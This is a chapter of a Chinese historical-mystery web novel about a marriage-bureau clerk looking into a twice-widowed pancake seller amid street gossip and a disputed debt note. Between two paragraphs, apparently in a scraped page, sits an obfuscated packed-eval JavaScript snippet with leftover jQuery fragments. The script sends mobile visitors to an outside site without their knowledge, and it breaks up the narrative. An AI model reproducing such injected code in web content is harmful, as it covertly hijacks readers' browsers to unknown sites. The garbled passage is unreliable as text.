太平坊的街道向来热闹，最近却比往常更添了几分喧哗。


    几个月前，街东头新开了一间卖炊饼的小摊。虽是个小摊，却日日人头攒动，摊前的队伍比初一城隍庙请香火那阵还要长。


    这家摊子不挂幌子，也不吆喝，灶边只立着一个女掌柜。


    这位掌柜姓何，名宛枝。太平坊里的人都叫她“何寡妇”，这称呼虽直白，却比她的名字更早响彻坊内。


    何宛枝本是江南人士，长得高瘦，模样俊俏，话也不多。嫁过两回人，第一任是个颇有资产的商户，成亲不到三月便一命呜呼了。第二任是屠户，这回日子长了些，成亲过了一年，但前阵子也死了。


    前后两桩命案，死因都说不甚明白，街坊四邻自然闲不住嘴，传言也就跟风似的满街跑，说她命硬、克夫，是扫把星转世。


    不过她本人倒不在意，旁人唤她寡妇，她也不恼，只顾卖她的炊饼。她虽然看着瘦瘦弱弱的，干起活来却利索得很，揉面、摊饼、翻炉火，样样不含糊，就是脸最近被灶火一直熏得，双颊有些红通通的。


    旁人做炊饼，都是素的，顶多撒点盐，讲究点的撒一把芝麻，也敢卖三文钱。


    可她家的炊饼就不一样。


    她家的炊饼里加了肉沫，猪肉剁得细细的，混着葱姜等香料，裹在面皮里，再一锅热油贴上去煎烤。咬下去，外酥里嫩，鲜得不行。这炊饼的香味能顺风飘出几丈远，连附近的狗，每日都摇着尾巴围着摊子打转。


    偏偏这等好味道，她也只卖三文钱，穷苦人家都觉得值。于是一传十、十传百，这炊饼摊子，最近便成了太平坊里的新招牌。


    这不，名气一大，队也就越排越长。


    六月的一个晌午，日头正毒。炊饼摊的长队最后头，站着两个翘首以盼的年轻人，仔细一看，正是顾行歌和赵清。


    赵清踮起脚尖，把脖子伸得老长，眼看着前头的队伍一眼望不到头，不由得发出一声哀嚎：“这得排到什么时候啊？主簿，前头怎么也有数十号人。咱就为了这一口吃食，耗在这儿不值当吧？不如换一家？”


    顾行歌慢悠悠道：“咱们今日又不是专程来吃炊饼的，主要还是打听一下何寡妇的意思。李烛龙那人，说起一出是一出，张嘴就让我帮他去提亲……可这拉红线的事，讲究的是你情我愿。我们也不能光听他的一面之词，不问姑娘愿不愿意就胡乱撮合，万一牵错了线，闹出事来，可不不行。”


    再说了，顾行歌努力嗅了几下，真香，她也确实想吃这大名鼎鼎的炊饼。


    赵清一听这话，不由抱怨道：“怎么这大理寺的，一个两个的，净往我们合婚司这边塞事啊。”


    顾行歌本来还想顺势点头称是，话到嘴边又咽了回去。终归同朝为官，抬头不见低头见的，便轻咳一声，装模作样地替大理寺说了句体面话：“也不能全怪他们。安成侯府那桩亲事闹得太大，如今户部那边的婚书都空了一大片。我们合婚司今年若是不多撮合几对儿，等到年末怕是得被评成尸位素餐，搞不好要减俸的。”


    赵清不由的点点头：“还是主簿你思虑周全！”


    “不过话说回来，这何寡妇啊，接连死了两个丈夫，那两桩命案，主簿你可知道来龙去脉？”


    顾行歌摇了摇头，语气淡淡地道：“我也不算清楚。只是当初接手合婚司时，翻过前任主簿留下的文书，里头有提到过何寡妇第一任丈夫。”


    她停顿一下，回忆了一番接着道：“那人是个牙行出身的商户，家底还算殷实，听说在太平坊都置了房，成亲那日摆了好大一桌席，倒也算风光。但好景不长，成亲还没满三个月，就被捅死在自家书房里，据说还被捅了好多刀。且说案发当夜，门窗紧闭，家丁睡得死，杀人者像是凭空消失了一样。”


    赵清倒吸一口凉气：“听着就邪门……后来怎么判的？”


    顾行歌耸耸肩：“案卷上写得模棱两可，说是死者生前与人有旧怨，可能是被人报复。可惜那旧怨到底是何人所为，至今也没个准话。”顾行歌摇摇头，“后面我也不知道了，当时办案的官员当时也调职了，便更没人去追了。”


    赵清啧啧两声：“那这第二任丈夫的事呢？”


    顾行歌刚要答话，前头几个排队的汉子倒先插了嘴。


    “嘿，说这事我知道！”其中一个留着山羊胡的汉子嘿嘿一笑，挺着个肚子，往前挤了一步，声音不大不小，偏偏字字清晰，“这事儿太平坊谁不知道。那何寡妇啊，第二任嫁的是那个张屠夫，模样粗陋，脾气还冲。就这么个长相，还敢娶这般水灵灵的娘们。我说，准是这何寡妇经常出去偷人，活活气死了这张屠夫。”


    说完，他身边那几个油腔滑调的汉子顿时轰地笑了起来，有人揶揄着往前凑，一边挤眉弄眼地说道：“这寡妇模样可不赖，唇红齿白，要不是命硬，啧，哪个不想试试……”


    “我看这位小娘子也俊着呢，”那山羊胡斜着眼打量顾行歌，嘴角一咧，“不如……”


    这话一出，顾行歌眼神立即冷下来，正要出声怼人，就听“啪”的一声响。方才那个山羊胡，突然惨叫一声，抱着脚跳了起来：“哎哟！谁砸我？哪个缺德的！”


    众人一愣，顾行歌也皱眉望去。只见地上滚着一个黑黢黢的壳儿，看着像是山栗子的外壳，那玩意儿不知道从哪儿飞出来的，正好砸在山羊胡的脚背上。


    他一边骂骂咧咧地捂脚，一边回头找人，却愣是没看到谁动手。


    顾行歌见状，冷笑道：“什么都不知道，就敢满嘴胡说八道，活该！”


    她接着说道：“这张屠户明明是醉酒之后走岔了路，从后山那条羊肠小道上摔了下去。大理寺查得清清楚楚，怎么到了你嘴里，就成了被气死了？再往下编，是不是还要说她是狐妖转世？”


    赵清在一旁骂道：“这些人啊，就见不得女子过得比他们体面。瞧着人家一个女子开个摊子都能排长队，心里就犯酸，造起谣来一点不打磕巴。”


    那山羊胡本来还想说点什么，被砸了这一下也有点怵了，再加上一抬头看到顾行歌和赵清一身正气，他心里一虚，只得灰溜溜地人群里挤了出去。


    不远处，临街茶楼的二层靠窗处，坐着两人。


    魏怀州端着一杯茶，目光落在那炊饼摊处，眼神沉静，似乎在琢磨着什么。


    秦若木坐在一旁，看得心惊胆战，见人散了，这才悄悄把桌上那碟山栗子收了回去，还低声嘟囔道：“公子，咱下次能不能不要这么冲动？这要是砸歪了，伤到人可是要赔钱的。”


    他是真的想不通。自家公子这些年一向清冷端庄，读的都是圣贤书，什么时候也学会街坊混混的那一套了？说扔就扔，扔得还挺准。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881818|175972||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    魏怀州却懒得解释，只低头抿了口茶，慢悠悠道：“顺手而已。”


    他一向懒得掺和这些街头的小吵小闹，只是方才那几人眼神猥琐，嘴里吐出的话更是腌臜。


    魏怀州倒是少有地生出几分惜才之情。


    这合婚司的小主簿，聪明伶俐，若被那般污言秽语一泼，倒像是白玉落了灰。


    她虽不归大理寺管辖，但毕竟同朝为官。前阵子安成侯的案子，她里外忙了不少，办事也算妥当。


    更何况，眼下他要办的事，八成还得麻烦这顾行歌跑一趟。


    权当是，先还个顺手的人情罢了。


    茶楼这边，魏怀州还在不紧不慢地品着茶。


    街边的炊饼摊，却忽然起了争执。


    只见一个脸盘阔大、膀粗腰圆的妇人一把将案板拍得震天响，气势汹汹地吼道：“我儿子成亲才一年就死了，你说你不是克夫？你个天杀的毒妇，居然还有脸开门做生意！”


    这话一出，周围排队的人都愣住了，随即纷纷伸长了脖子往这边瞧。


    何寡妇却仿佛没听到似的，仍低头翻着锅里那几张炊饼，过了好久才回了一句：“他死了，活该。我难道也得守着等死？”


    那妇人像是被人踩了尾巴，跳脚尖叫：“你说什么？你承认你克死我儿子了是不是？”


    “我没承认。”何寡妇抬头望向那妇人，“我只是说，他的死，是活该。”


    妇人气得直跺脚：“你欠我们家丧葬银，还敢嘴硬？有借据在这里，你今日要是不还，别想走！”


    说这话，她哆哆嗦嗦地从怀里掏出一张皱巴巴的纸，往人群里一挥：“大家伙儿，都来看看，白纸黑字，她亲手按的手印，欠我们张家一百两丧葬银，这毒妇还想赖账？”


    她把那纸在空中抖得哗啦响，脸上泪没掉一滴，发出的哭声倒是地动山摇：“我那儿子啊，老实巴交一个人，好心好意娶了她这个丧门星，结果才进门才一年，连个孩子都没留下，就一命呜呼了！”


    “官府说是摔死的，谁信啊？她头一个男人也是刚拜完堂就撒手人寰，难不成天底下的倒霉事都让她摊上了？”


    “可我儿子不嫌她名声坏，拿出张家攒了半辈子的家底儿，给她置办首饰，结果人死得不明不白，她倒好，炊饼摊开得热热闹闹，钱赚得叮当响。”


    说到这里，那妇人突然捂着胸口，扑通一声往地上一坐，开始朝天开始抹泪：“你说她要是还有点良心，早该披麻戴孝守灵过日子了！如今倒好，满脸红光地做生意，我看她是连我们张家的棺材板都给踩烂了！”


    一番话是又哭又嚎，街边人看热闹的不嫌事大，早就围了一大圈。这时都开始审判这何寡妇。


    “不会吧，她还真欠了人家丧葬银？”


    “啧啧，两个丈夫都死得快，这可不一般呐。”


    “别乱说，万一真是命硬的？”


    可那何寡妇却一声不吭，只是把炊饼翻了个面，啪地贴在锅边，神情冷冷地看着那妇人。


    正闹着，忽听旁边咔哒一声轻响。


    原来是顾行歌早已看不下去了，往前一步，不动声色地伸手一捞，一把将那张皱巴巴借据抢了过来。


    她低头看了两眼，眉头一挑，笑道：“张家老太太，这借据……你这就有点不太讲理了啊。”